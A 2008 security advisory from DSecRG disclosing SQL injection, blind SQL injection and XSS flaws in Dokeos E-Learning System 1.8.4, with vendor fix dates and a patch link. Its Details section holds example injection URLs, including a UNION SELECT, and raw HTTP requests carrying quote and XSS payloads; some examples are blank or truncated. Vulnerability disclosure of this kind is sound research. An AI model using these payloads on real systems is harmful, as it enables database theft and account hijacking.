Digital Security Research Group [DSecRG] Advisory       #DSECRG-08-015


Application:                    Dokeos E-Learning System        
Versions Affected:              1.8.4
Vendor URL: http://dokeos.com 
Bugs:                           Multiple SQL Injections,Multiple Blind SQL Injections,Multiple  XSS, etc.
Exploits:                       YES
Reported:                       25.01.2008
Vendor response:                28.01.2008
Patch released:                 12.02.2008    
Date of Public Advisory:        19.02.2008
Authors:                        Alexandr Polyakov, Stas Svistunovich
                                Digital Security Research Group [DSecRG] (research [at] dsec [dot] ru)



Description
***********

Dokeos E-Learning System system has multiple security vulnerabilities:

1. Multiple SQL Injections
2. Multiple Blind Sql Injections
3. Multiple Stored XSS
4. Multiple Linked XSS
5. Image XSS

Details
*******


1. Multiple SQL Injections

1.1  Attacker can inject SQL code in module /whoisonline.php vulnerable parametr id 
     Attacker must have valid user creditionals 
 

Example:
http://[server]/[installdir]/whoisonline.php?id=1'+and+"dsec"="dsecrg"+union+select+user(),version()/* 


1.2  Attacker can inject SQL code in module main/mySpace/index.php vulnerable parameter tracking_list_coaches_column





Example:

http://[server]/[installdir]/main/mySpace/index.php?tracking_list_coaches_direction=ASC&tracking_list_coaches_page_nr=1&tracking_list_coaches_per_page &view=admin 
&tracking_list_coaches_column=0';

1.3  Attacker can inject SQL code in module /dokeos/main/create_course/add_course.php POST Parameter tutor_name


Example:

POST /dokeos/main/create_course/add_course.php HTTP/1.0
Cookie: dk_sid=av68g9lus300ts870iqebhneh5
Content-Length: 107
Accept: */*
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)
Host: localhost
Content-Type: application/x-www-form-urlencoded
Referer: http://localhost/dokeos/main/create_course/add_course.php 

title=1234&category_code=PROJ&wanted_code=1234&course_language=slovenian&_qf__add_course=&
tutor_name='



---------------------------------------------------------------------


2.  Multiple SQL Injections

2.1 Vulnerability found in script index.php in header parameter  "Referer"


Example:

GET /dokeos/index.php HTTP/1.0
Cookie: dk_sid=av68g9lus300ts870iqebhneh5
Accept: */*
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)
Host: localhost
Referer: '

2.1 Vulnerability found in script /main/admin/class_list.php? in header parameter  "X-Fowarded-For"



---------------------------------------------------------------------




3. Stored  XSS vulnerability found in /main/auth/inscription.php attacker can inject XSS in POST  parameter username 


---------------------------------------------------------------------

4. Multiple linked XSS


4.1 Linked XSS vulnerability found in dokeos/main/calendar/myagenda.php attacker can inject XSS in parameter courseCode 


Example:

 



4.2 Linked XSS vulnerability found in main/admin/course_category.php attacker can inject XSS in parameter category

Example:

http://[server]/[installdir]/dokeos/main/admin/course_category.php?category= HTTP/1.0 



4.3 Linked XSS vulnerability found in /dokeos/main/admin/session_list.php attacker can inject XSS in parameter cmessage 


Example:

http://[server]/[installdir]/dokeos/main/admin/session_list.php?action=show_message&message=>%22%27> XSS')> 

---------------------------------------------------------------------


5. Image XSS vulnerability in page main/auth/profile.php   attacker can upload avatar picture with XSS code:


Example:

More info: http://www.dsec.ru/about/articles/web_xss/ (in Russian) 

---------------------------------------------------------------------

Fix Information
***************

Vendor fix this flaw on 12.02.2008. Patch for version 1.8.4 can be downloaded here:

http://www.dokeos.com/wiki/index.php/Security#Dokeos_1.8.4_SP2_download 



About
*****

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